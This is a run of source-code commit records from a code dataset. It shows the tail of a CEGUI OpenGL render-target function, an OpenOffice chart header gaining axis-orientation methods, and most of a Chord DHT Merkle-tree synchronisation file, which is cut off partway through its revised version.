updateMatrix();\n\n const OpenGLGeometryBufferBase& gb =\n static_cast<const OpenGLGeometryBufferBase&>(buff);\n\n const GLint vp[4] = {\n static_cast<GLint>(RenderTarget::d_area.left()),\n static_cast<GLint>(RenderTarget::d_area.top()),\n static_cast<GLint>(RenderTarget::d_area.getWidth()),\n static_cast<GLint>(RenderTarget::d_area.getHeight())\n };\n\n GLfloat in_x, in_y, in_z;\n\n glm::ivec4 viewPort = glm::ivec4(vp[0], vp[1], vp[2], vp[3]);\n const glm::mat4& projMatrix = RenderTarget::d_matrix;\n const glm::mat4& modelMatrix = gb.getModelMatrix();\n\n \/\/ unproject the ends of the ray\n glm::vec3 unprojected1;\n glm::vec3 unprojected2;\n in_x = vp[2] * 0.5;\n in_y = vp[3] * 0.5;\n in_z = -RenderTarget::d_viewDistance;\n unprojected1 = glm::unProject(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n in_x = p_in.x;\n in_y = vp[3] - p_in.y;\n in_z = 0.0;\n unprojected2 = glm::unProject(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n\n \/\/ project points to orientate them with GeometryBuffer plane\n glm::vec3 projected1;\n glm::vec3 projected2;\n glm::vec3 projected3;\n in_x = 0.0;\n in_y = 0.0;\n projected1 = glm::project(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n in_x = 1.0;\n in_y = 0.0;\n projected2 = glm::project(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n in_x = 0.0;\n in_y = 1.0;\n projected3 = glm::project(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n\n \/\/ calculate vectors for generating the plane\n const glm::vec3 pv1 = projected2 - projected1;\n const glm::vec3 pv2 = projected3 - projected1;\n \/\/ given the vectors, calculate the plane normal\n const glm::vec3 planeNormal = glm::cross(pv1, pv2);\n \/\/ calculate plane\n const glm::vec3 planeNormalNormalized = glm::normalize(planeNormal);\n const double pl_d = - glm::dot(projected1, planeNormalNormalized);\n \/\/ calculate vector of picking ray\n const glm::vec3 rv = unprojected1 - unprojected2;\n \/\/ calculate intersection of ray and plane\n const double pn_dot_r1 = glm::dot(unprojected1, planeNormal);\n const double pn_dot_rv = glm::dot(rv, planeNormal);\n const double tmp1 = pn_dot_rv != 0.0 ? (pn_dot_r1 + pl_d) \/ pn_dot_rv : 0.0;\n const double is_x = unprojected1.x - rv.x * tmp1;\n const double is_y = unprojected1.y - rv.y * tmp1;\n\n p_out.x = static_cast<float>(is_x);\n p_out.y = static_cast<float>(is_y);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::updateMatrix() const\n{\n RenderTarget::updateMatrix( RenderTarget::createViewProjMatrixForOpenGL() );\n}\n\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nOpenGLRendererBase& OpenGLRenderTarget<T>::getOwner()\n{\n return d_owner;\n}\n\n\n\/\/----------------------------------------------------------------------------\/\/\n\n} \/\/ End of CEGUI namespace section\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: PlottingPositionHelper.hxx,v $\n *\n * $Revision: 1.1.1.1 $\n *\n * last change: $Author: bm $ $Date: 2003-10-06 09:58:33 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2003 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _CHART2_PLOTTINGPOSITIONHELPER_HXX\n#define _CHART2_PLOTTINGPOSITIONHELPER_HXX\n\n#ifndef _DRAFTS_COM_SUN_STAR_CHART2_EXPLICITSCALEDATA_HPP_\n#include <drafts\/com\/sun\/star\/chart2\/ExplicitScaleData.hpp>\n#endif\n#ifndef _DRAFTS_COM_SUN_STAR_CHART2_XTRANSFORMATION_HPP_\n#include <drafts\/com\/sun\/star\/chart2\/XTransformation.hpp>\n#endif\n\n#ifndef _COM_SUN_STAR_DRAWING_HOMOGENMATRIX_HPP_\n#include <com\/sun\/star\/drawing\/HomogenMatrix.hpp>\n#endif\n\n#ifndef _B3D_HMATRIX_HXX\n#include <goodies\/hmatrix.hxx>\n#endif\n\n\/\/.............................................................................\nnamespace chart\n{\n\/\/.............................................................................\n\n\/\/-----------------------------------------------------------------------------\n\/**\n*\/\n\nclass PlottingPositionHelper\n{\npublic:\n PlottingPositionHelper();\n virtual ~PlottingPositionHelper();\n\n void setTransformationSceneToScreen( const ::com::sun::star::drawing::HomogenMatrix& rMatrix);\n\n void setScales( const ::com::sun::star::uno::Sequence<\n ::drafts::com::sun::star::chart2::ExplicitScaleData >& rScales );\n\n inline bool isLogicVisible( double fX, double fY, double fZ ) const;\n inline void doLogicScaling( double* pX, double* pY, double* pZ ) const;\n inline void clipLogicValues( double* pX, double* pY, double* pZ ) const;\n\n virtual ::com::sun::star::uno::Reference< ::drafts::com::sun::star::chart2::XTransformation >\n getTransformationLogicToScene() const;\n\n inline double getLogicMinX() const;\n inline double getLogicMinY() const;\n inline double getLogicMinZ() const;\n inline double getLogicMaxX() const;\n inline double getLogicMaxY() const;\n inline double getLogicMaxZ() const;\n\n void getLogicMinimum( ::com::sun::star::uno::Sequence< double >& rSeq ) const;\n void getLogicMaximum( ::com::sun::star::uno::Sequence< double >& rSeq ) const;\n\n void getScreenValuesForMinimum( ::com::sun::star::uno::Sequence< double >& rSeq ) const;\n void getScreenValuesForMaximum( ::com::sun::star::uno::Sequence< double >& rSeq ) const;\n\nprotected: \/\/member\n ::com::sun::star::uno::Sequence<\n ::drafts::com::sun::star::chart2::ExplicitScaleData > m_aScales;\n Matrix4D m_aMatrixScreenToScene;\n\n \/\/this is calculated based on m_aScales and m_aMatrixScreenToScene\n mutable ::com::sun::star::uno::Reference<\n ::drafts::com::sun::star::chart2::XTransformation > m_xTransformationLogicToScene;\n};\n\nbool PlottingPositionHelper::isLogicVisible(\n double fX, double fY, double fZ ) const\n{\n return fX >= m_aScales[0].Minimum && fX <= m_aScales[0].Maximum\n && fY >= m_aScales[1].Minimum && fY <= m_aScales[1].Maximum\n && fZ >= m_aScales[2].Minimum && fZ <= m_aScales[2].Maximum;\n}\n\nvoid PlottingPositionHelper::doLogicScaling( double* pX, double* pY, double* pZ ) const\n{\n if(pX && m_aScales[0].Scaling.is())\n *pX = m_aScales[0].Scaling->doScaling(*pX);\n if(pY && m_aScales[1].Scaling.is())\n *pY = m_aScales[1].Scaling->doScaling(*pY);\n if(pZ && m_aScales[2].Scaling.is())\n *pZ = m_aScales[2].Scaling->doScaling(*pZ);\n}\n\nvoid PlottingPositionHelper::clipLogicValues( double* pX, double* pY, double* pZ ) const\n{\n if(pX)\n {\n if( *pX < m_aScales[0].Minimum )\n *pX = m_aScales[0].Minimum;\n else if( *pX > m_aScales[0].Maximum )\n *pX = m_aScales[0].Maximum;\n }\n if(pY)\n {\n if( *pY < m_aScales[1].Minimum )\n *pY = m_aScales[1].Minimum;\n else if( *pY > m_aScales[1].Maximum )\n *pY = m_aScales[1].Maximum;\n }\n if(pZ)\n {\n if( *pZ < m_aScales[2].Minimum )\n *pZ = m_aScales[2].Minimum;\n else if( *pZ > m_aScales[2].Maximum )\n *pZ = m_aScales[2].Maximum;\n }\n}\n\ninline double PlottingPositionHelper::getLogicMinX() const\n{\n return m_aScales[0].Minimum;\n}\ninline double PlottingPositionHelper::getLogicMinY() const\n{\n return m_aScales[1].Minimum;\n}\ninline double PlottingPositionHelper::getLogicMinZ() const\n{\n return m_aScales[2].Minimum;\n}\n\ninline double PlottingPositionHelper::getLogicMaxX() const\n{\n return m_aScales[0].Maximum;\n}\ninline double PlottingPositionHelper::getLogicMaxY() const\n{\n return m_aScales[1].Maximum;\n}\ninline double PlottingPositionHelper::getLogicMaxZ() const\n{\n return m_aScales[2].Maximum;\n}\n\n\/\/.............................................................................\n} \/\/namespace chart\n\/\/.............................................................................\n#endif\n<commit_msg>added methods isMathematicalOrientationX\/Y\/Z<commit_after>\/*************************************************************************\n *\n * $RCSfile: PlottingPositionHelper.hxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: iha $ $Date: 2003-11-19 13:13:28 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2003 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _CHART2_PLOTTINGPOSITIONHELPER_HXX\n#define _CHART2_PLOTTINGPOSITIONHELPER_HXX\n\n#ifndef _DRAFTS_COM_SUN_STAR_CHART2_EXPLICITSCALEDATA_HPP_\n#include <drafts\/com\/sun\/star\/chart2\/ExplicitScaleData.hpp>\n#endif\n#ifndef _DRAFTS_COM_SUN_STAR_CHART2_XTRANSFORMATION_HPP_\n#include <drafts\/com\/sun\/star\/chart2\/XTransformation.hpp>\n#endif\n\n#ifndef _COM_SUN_STAR_DRAWING_HOMOGENMATRIX_HPP_\n#include <com\/sun\/star\/drawing\/HomogenMatrix.hpp>\n#endif\n\n#ifndef _B3D_HMATRIX_HXX\n#include <goodies\/hmatrix.hxx>\n#endif\n\n\/\/.............................................................................\nnamespace chart\n{\n\/\/.............................................................................\n\n\/\/-----------------------------------------------------------------------------\n\/**\n*\/\n\nclass PlottingPositionHelper\n{\npublic:\n PlottingPositionHelper();\n virtual ~PlottingPositionHelper();\n\n void setTransformationSceneToScreen( const ::com::sun::star::drawing::HomogenMatrix& rMatrix);\n\n void setScales( const ::com::sun::star::uno::Sequence<\n ::drafts::com::sun::star::chart2::ExplicitScaleData >& rScales );\n\n inline bool isLogicVisible( double fX, double fY, double fZ ) const;\n inline void doLogicScaling( double* pX, double* pY, double* pZ ) const;\n inline void clipLogicValues( double* pX, double* pY, double* pZ ) const;\n\n virtual ::com::sun::star::uno::Reference< ::drafts::com::sun::star::chart2::XTransformation >\n getTransformationLogicToScene() const;\n\n inline double getLogicMinX() const;\n inline double getLogicMinY() const;\n inline double getLogicMinZ() const;\n inline double getLogicMaxX() const;\n inline double getLogicMaxY() const;\n inline double getLogicMaxZ() const;\n\n inline bool isMathematicalOrientationX() const;\n inline bool isMathematicalOrientationY() const;\n inline bool isMathematicalOrientationZ() const;\n\n void getLogicMinimum( ::com::sun::star::uno::Sequence< double >& rSeq ) const;\n void getLogicMaximum( ::com::sun::star::uno::Sequence< double >& rSeq ) const;\n\n void getScreenValuesForMinimum( ::com::sun::star::uno::Sequence< double >& rSeq ) const;\n void getScreenValuesForMaximum( ::com::sun::star::uno::Sequence< double >& rSeq ) const;\n\nprotected: \/\/member\n ::com::sun::star::uno::Sequence<\n ::drafts::com::sun::star::chart2::ExplicitScaleData > m_aScales;\n Matrix4D m_aMatrixScreenToScene;\n\n \/\/this is calculated based on m_aScales and m_aMatrixScreenToScene\n mutable ::com::sun::star::uno::Reference<\n ::drafts::com::sun::star::chart2::XTransformation > m_xTransformationLogicToScene;\n};\n\nbool PlottingPositionHelper::isLogicVisible(\n double fX, double fY, double fZ ) const\n{\n return fX >= m_aScales[0].Minimum && fX <= m_aScales[0].Maximum\n && fY >= m_aScales[1].Minimum && fY <= m_aScales[1].Maximum\n && fZ >= m_aScales[2].Minimum && fZ <= m_aScales[2].Maximum;\n}\n\nvoid PlottingPositionHelper::doLogicScaling( double* pX, double* pY, double* pZ ) const\n{\n if(pX && m_aScales[0].Scaling.is())\n *pX = m_aScales[0].Scaling->doScaling(*pX);\n if(pY && m_aScales[1].Scaling.is())\n *pY = m_aScales[1].Scaling->doScaling(*pY);\n if(pZ && m_aScales[2].Scaling.is())\n *pZ = m_aScales[2].Scaling->doScaling(*pZ);\n}\n\nvoid PlottingPositionHelper::clipLogicValues( double* pX, double* pY, double* pZ ) const\n{\n if(pX)\n {\n if( *pX < m_aScales[0].Minimum )\n *pX = m_aScales[0].Minimum;\n else if( *pX > m_aScales[0].Maximum )\n *pX = m_aScales[0].Maximum;\n }\n if(pY)\n {\n if( *pY < m_aScales[1].Minimum )\n *pY = m_aScales[1].Minimum;\n else if( *pY > m_aScales[1].Maximum )\n *pY = m_aScales[1].Maximum;\n }\n if(pZ)\n {\n if( *pZ < m_aScales[2].Minimum )\n *pZ = m_aScales[2].Minimum;\n else if( *pZ > m_aScales[2].Maximum )\n *pZ = m_aScales[2].Maximum;\n }\n}\n\ninline double PlottingPositionHelper::getLogicMinX() const\n{\n return m_aScales[0].Minimum;\n}\ninline double PlottingPositionHelper::getLogicMinY() const\n{\n return m_aScales[1].Minimum;\n}\ninline double PlottingPositionHelper::getLogicMinZ() const\n{\n return m_aScales[2].Minimum;\n}\n\ninline double PlottingPositionHelper::getLogicMaxX() const\n{\n return m_aScales[0].Maximum;\n}\ninline double PlottingPositionHelper::getLogicMaxY() const\n{\n return m_aScales[1].Maximum;\n}\ninline double PlottingPositionHelper::getLogicMaxZ() const\n{\n return m_aScales[2].Maximum;\n}\ninline bool PlottingPositionHelper::isMathematicalOrientationX() const\n{\n return ::drafts::com::sun::star::chart2::AxisOrientation_MATHEMATICAL == m_aScales[0].Orientation;\n}\ninline bool PlottingPositionHelper::isMathematicalOrientationY() const\n{\n return ::drafts::com::sun::star::chart2::AxisOrientation_MATHEMATICAL == m_aScales[1].Orientation;\n}\ninline bool PlottingPositionHelper::isMathematicalOrientationZ() const\n{\n return ::drafts::com::sun::star::chart2::AxisOrientation_MATHEMATICAL == m_aScales[2].Orientation;\n}\n\n\/\/.............................................................................\n} \/\/namespace chart\n\/\/.............................................................................\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <chord.h>\n#include \"merkle_syncer.h\"\n#include \"qhash.h\"\n#include \"async.h\"\n#include \"bigint.h\"\n#include <id_utils.h>\n#include <comm.h>\n\n\/\/#define MERKLE_SYNC_TRACE\n\/\/#define MERKLE_SYNC_DETAILED_TRACE\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ util junk\n\n\n\/\/ Check whether [l1, r1] overlaps [l2, r2] on the circle.\nstatic bool\noverlap (const bigint &l1, const bigint &r1, const bigint &l2, const bigint &r2)\n{\n \/\/ There might be a more efficient way to do this..\n return (betweenbothincl (l1, r1, l2) || betweenbothincl (l1, r1, r2)\n\t || betweenbothincl (l2, r2, l1) || betweenbothincl (l2, r2, r1));\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ merkle_syncer\n\n\nmerkle_syncer::merkle_syncer (merkle_tree *ltree, rpcfnc_t rpcfnc, missingfnc_t missingfnc)\n : ltree (ltree), rpcfnc (rpcfnc), missingfnc (missingfnc)\n{\n fatal_err = NULL;\n sync_done = false;\n}\n\n\nvoid\nmerkle_syncer::sync (bigint rngmin, bigint rngmax)\n{\n local_rngmin = rngmin;\n local_rngmax = rngmax;\n\n \/\/ start at the root of the merkle tree\n sendnode (0, 0);\n}\n\n\nvoid\nmerkle_syncer::dump ()\n{ \n warn << \"THIS: \" << (u_int)this << \"\\n\";\n warn << \" st.size () \" << st.size () << \"\\n\"; \n}\n\n\nvoid\nmerkle_syncer::doRPC (int procno, ptr<void> in, void *out, aclnt_cb cb)\n{\n \/\/ Must resort to bundling all values into one argument since\n \/\/ async\/callback.h is configured with too few parameters.\n struct RPC_delay_args args (merklesync_program_1, procno, in, out, cb, \n\t\t\t NULL);\n (*rpcfnc) (&args);\n}\n\nvoid\nmerkle_syncer::setdone ()\n{\n sync_done = true;\n}\n\n\nvoid\nmerkle_syncer::error (str err)\n{\n warn << (u_int)this << \": SYNCER ERROR: \" << err << \"\\n\";\n fatal_err = err;\n setdone ();\n}\n\nstr\nmerkle_syncer::getsummary ()\n{\n assert (sync_done);\n strbuf sb;\n\n sb << \"[\" << local_rngmin << \",\" << local_rngmax << \"] \";\n\n if (fatal_err)\n sb << fatal_err;\n\n if (0)\n sb << \"<log \" << log << \">\\n\";\n\n return sb;\n}\n\nvoid\nmerkle_syncer::next (void)\n{\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n warn << \"local range [\" << local_rngmin << \",\" << local_rngmax << \"]\\n\";\n#endif\n assert (!sync_done);\n assert (!fatal_err);\n\n \/\/ st is queue of pending index nodes\n while (st.size ()) {\n pair<merkle_rpc_node, int> &p = st.back ();\n merkle_rpc_node *rnode = &p.first;\n assert (!rnode->isleaf);\n \n merkle_node *lnode = ltree->lookup_exact (rnode->depth, rnode->prefix);\n\n if (!lnode) {\n fatal << \"lookup_exact didn't match for \" << rnode->prefix << \" at depth \" << rnode->depth << \"\\n\";\n }\n \n\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n warn << \"starting from slot \" << p.second << \"\\n\";\n#endif\n\n \/\/ XXX not clear p.second will ever enter > 0\n while (p.second < 64) {\n u_int i = p.second;\n p.second += 1;\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n warn << \"CHECKING: \" << i;\n#endif\n\n bigint remote = tobigint (rnode->child_hash[i]);\n bigint local = tobigint (lnode->child (i)->hash);\n\n u_int depth = rnode->depth + 1;\n\n \/\/prefix is the high bits of the first key \n \/\/ the node is responsible for.\n merkle_hash prefix = rnode->prefix;\n prefix.write_slot (rnode->depth, i);\n bigint slot_rngmin = tobigint (prefix);\n bigint slot_width = bigint (1) << (160 - 6*depth);\n bigint slot_rngmax = slot_rngmin + slot_width - 1;\n\n bool overlaps = overlap (local_rngmin, local_rngmax, slot_rngmin, slot_rngmax);\n\n if (remote != local) {\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n\twarnx << \" differ. local \" << local << \" != remote \" << remote;\n#endif\n\tif (overlaps) {\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n\t warnx << \" .. sending\\n\";\n#endif\n\t sendnode (depth, prefix);\n\t return;\n\t} else {\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n\t warnx << \" .. not sending\\n\";\n#endif\n\t}\n } else {\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n\twarnx << \" same. local \" << local << \" == remote \" << remote << \"\\n\";\n#endif\n }\n }\n \n assert (p.second == 64);\n st.pop_back ();\n }\n\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n warn << \"DONE .. in NEXT\\n\";\n#endif\n setdone ();\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n warn << \"OK!\\n\";\n#endif\n}\n\n\nvoid\nmerkle_syncer::sendnode (u_int depth, const merkle_hash &prefix)\n{\n\n ref<sendnode_arg> arg = New refcounted<sendnode_arg> ();\n ref<sendnode_res> res = New refcounted<sendnode_res> ();\n\n u_int lnode_depth;\n merkle_node *lnode = ltree->lookup (&lnode_depth, depth, prefix);\n assert (lnode);\n assert (lnode_depth == depth);\n\n format_rpcnode (ltree, depth, prefix, lnode, &arg->node);\n arg->rngmin = local_rngmin;\n arg->rngmax = local_rngmax;\n doRPC (MERKLESYNC_SENDNODE, arg, res,\n\t wrap (this, &merkle_syncer::sendnode_cb, arg, res));\n}\n\n\nvoid\nmerkle_syncer::sendnode_cb (ref<sendnode_arg> arg, ref<sendnode_res> res, \n\t\t\t clnt_stat err)\n{\n\n if (err) {\n error (strbuf () << \"SENDNODE: rpc error \" << err);\n return;\n } else if (res->status != MERKLE_OK) {\n error (strbuf () << \"SENDNODE: protocol error \" << err2str (res->status));\n return;\n }\n\n\n merkle_rpc_node *rnode = &res->resok->node;\n\n merkle_node *lnode = ltree->lookup_exact (rnode->depth, rnode->prefix);\n if (!lnode) {\n fatal << \"lookup failed: \" << rnode->prefix << \" at \" << rnode->depth << \"\\n\";\n }\n \n compare_nodes (ltree, local_rngmin, local_rngmax, lnode, rnode, \n\t\t missingfnc, rpcfnc);\n\n if (!lnode->isleaf () && !rnode->isleaf) {\n#ifdef MERKLE_SYNC_TRACE\n warn << \"I vs I\\n\";\n#endif\n st.push_back (pair<merkle_rpc_node, int> (*rnode, 0));\n }\n\n next ();\n}\n\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ merkle_getkeyrange\n\nvoid\nmerkle_getkeyrange::go ()\n{\n if (between (rngmax, incID (current), current)) {\n#ifdef MERKLE_SYNC_TRACE\n warn << \"merkle_getkeyrange::go () ==> DONE\\n\";\n#endif\n delete this;\n return;\n }\n\n ref<getkeys_arg> arg = New refcounted<getkeys_arg> ();\n arg->rngmin = current;\n arg->rngmax = rngmax;\n ref<getkeys_res> res = New refcounted<getkeys_res> ();\n doRPC (MERKLESYNC_GETKEYS, arg, res,\n\t wrap (this, &merkle_getkeyrange::getkeys_cb, arg, res));\n}\n\n\n\nvoid\nmerkle_getkeyrange::getkeys_cb (ref<getkeys_arg> arg, ref<getkeys_res> res, \n\t\t\t\tclnt_stat err)\n\n{\n if (err) {\n warn << \"GETKEYS: rpc error \" << err << \"\\n\";\n delete this;\n return;\n } else if (res->status != MERKLE_OK) {\n warn << \"GETKEYS: protocol error \" << err2str (res->status) << \"\\n\";\n delete this;\n return;\n }\n\n vec<merkle_hash> rkeys;\n chordID round_max = current;\n chordID next_cur = current;\n for (u_int i = 0; i < res->resok->keys.size (); i++) {\n const merkle_hash &key = res->resok->keys[i];\n rkeys.push_back (key);\n\n bigint bkey = tobigint(key);\n if (round_max < bkey) round_max = bkey;\n if (betweenbothincl (next_cur, incID (bkey), bkey))\n next_cur = incID (bkey);\n }\n\n compare_keylists (lkeys, rkeys, current, round_max, missing);\n\n current = next_cur;\n \n if (!res->resok->morekeys)\n current = incID (rngmax); \/\/ set done\n \n go ();\n}\n\n\nvoid\nmerkle_getkeyrange::doRPC (int procno, ptr<void> in, void *out, aclnt_cb cb)\n{\n \/\/ Must resort to bundling all values into one argument since\n \/\/ async\/callback.h is configured with too few parameters.\n struct RPC_delay_args args (merklesync_program_1, procno, in, out, cb,\n\t\t\t NULL);\n (*rpcfnc) (&args);\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\nvoid\ncompare_keylists (vec<merkle_hash> lkeys,\n\t\t vec<merkle_hash> vrkeys,\n\t\t chordID rngmin, chordID rngmax,\n\t\t missingfnc_t missingfnc)\n{\n \/\/ populate a hash table with the remote keys\n qhash<merkle_hash, int> rkeys;\n for (u_int i = 0; i < vrkeys.size (); i++) {\n if (betweenbothincl (rngmin, rngmax, tobigint(vrkeys[i]))) \n rkeys.insert (vrkeys[i], 1);\n }\n \n \/\/ do I have something he doesn't have?\n for (unsigned int i = 0; i < lkeys.size (); i++) {\n if (!rkeys[lkeys[i]]) {\n (*missingfnc) (tobigint(lkeys[i]), false);\n } else {\n rkeys.remove (lkeys[i]);\n }\n }\n\n \/\/anything left: he has and I don't\n qhash_slot<merkle_hash, int> *slot = rkeys.first ();\n while (slot) {\n warn << \"local missing [\" << rngmin << \", \" << rngmax << \"] key=\" << slot->key << \"\\n\";\n (*missingfnc) (tobigint(slot->key), true);\n slot = rkeys.next (slot);\n }\n \n}\n\nvoid\ncompare_nodes (merkle_tree *ltree, bigint rngmin, bigint rngmax, \n\t merkle_node *lnode, merkle_rpc_node *rnode,\n\t missingfnc_t missingfnc, rpcfnc_t rpcfnc)\n{\n#ifdef MERKLE_SYNC_TRACE\n warn << (lnode->isleaf () ? \"L\" : \"I\")\n << \" vs \"\n << (rnode->isleaf ? \"L\" : \"I\")\n << \"\\n\";\n#endif\n\n if (rnode->isleaf) {\n vec<merkle_hash> lkeys = database_get_keys (ltree->db, rnode->depth, rnode->prefix);\n\n vec<merkle_hash> rkeys;\n for (u_int i = 0; i < rnode->child_hash.size (); i++) {\n assert (betweenbothincl (rngmin, rngmax, tobigint (rnode->child_hash[i])));\n rkeys.push_back (rnode->child_hash[i]);\n }\n\n compare_keylists (lkeys, rkeys, rngmin, rngmax, missingfnc); \n\t\n } else if (lnode->isleaf () && !rnode->isleaf) {\n bigint tmpmin = tobigint (rnode->prefix);\n bigint node_width = bigint (1) << (160 - rnode->depth);\n bigint tmpmax = tmpmin + node_width - 1;\n\n\n \/\/ further constrain to be within the host's range of interest\n if (between (tmpmin, tmpmax, rngmin))\n tmpmin = rngmin;\n if (between (tmpmin, tmpmax, rngmax))\n tmpmax = rngmax;\n\n vec<merkle_hash> lkeys = database_get_keys (ltree->db, rnode->depth, rnode->prefix);\n vNew merkle_getkeyrange (ltree->db, tmpmin, tmpmax, lkeys, missingfnc, rpcfnc);\n }\n}\n\n\/\/ ---------------------------------------------------------------------------\n\nvoid\nformat_rpcnode (merkle_tree *ltree, u_int depth, const merkle_hash &prefix,\n\t\tconst merkle_node *node, merkle_rpc_node *rpcnode)\n{\n rpcnode->depth = depth;\n rpcnode->prefix = prefix;\n rpcnode->count = node->count;\n rpcnode->hash = node->hash;\n rpcnode->isleaf = node->isleaf ();\n \n if (!node->isleaf ()) {\n rpcnode->child_hash.setsize (64);\n for (int i = 0; i < 64; i++)\n rpcnode->child_hash[i] = node->child (i)->hash;\n } else {\n vec<merkle_hash> keys = database_get_keys (ltree->db, depth, prefix);\n\n if (keys.size () != rpcnode->count) {\n warn << \"\\n\\n\\n----------------------------------------------------------\\n\";\n warn << \"BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG\\n\";\n warn << \"Send this output to chord@pdos.lcs.mit.edu\\n\";\n warn << \"BUG: \" << depth << \" \" << prefix << \"\\n\";\n warn << \"BUG: \" << keys.size () << \" != \" << rpcnode->count << \"\\n\";\n ltree->check_invariants ();\n warn << \"BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG\\n\";\n panic << \"----------------------------------------------------------\\n\\n\\n\";\n }\n\n rpcnode->child_hash.setsize (keys.size ());\n for (u_int i = 0; i < keys.size (); i++) {\n rpcnode->child_hash[i] = keys[i];\n }\n }\n}\n<commit_msg>Filter keys pushed onto compare_keyslists lists based on range. Reduce warn verbosity.<commit_after>#include <chord.h>\n#include \"merkle_syncer.h\"\n#include \"qhash.h\"\n#include \"async.h\"\n#include \"bigint.h\"\n#include <id_utils.h>\n#include <comm.h>\n\n\/\/#define MERKLE_SYNC_TRACE\n\/\/#define MERKLE_SYNC_DETAILED_TRACE\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ util junk\n\n\n\/\/ Check whether [l1, r1] overlaps [l2, r2] on the circle.\nstatic bool\noverlap (const bigint &l1, const bigint &r1, const bigint &l2, const bigint &r2)\n{\n \/\/ There might be a more efficient way to do this..\n return (betweenbothincl (l1, r1, l2) || betweenbothincl (l1, r1, r2)\n\t || betweenbothincl (l2, r2, l1) || betweenbothincl (l2, r2, r1));\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ merkle_syncer\n\n\nmerkle_syncer::merkle_syncer (merkle_tree *ltree, rpcfnc_t 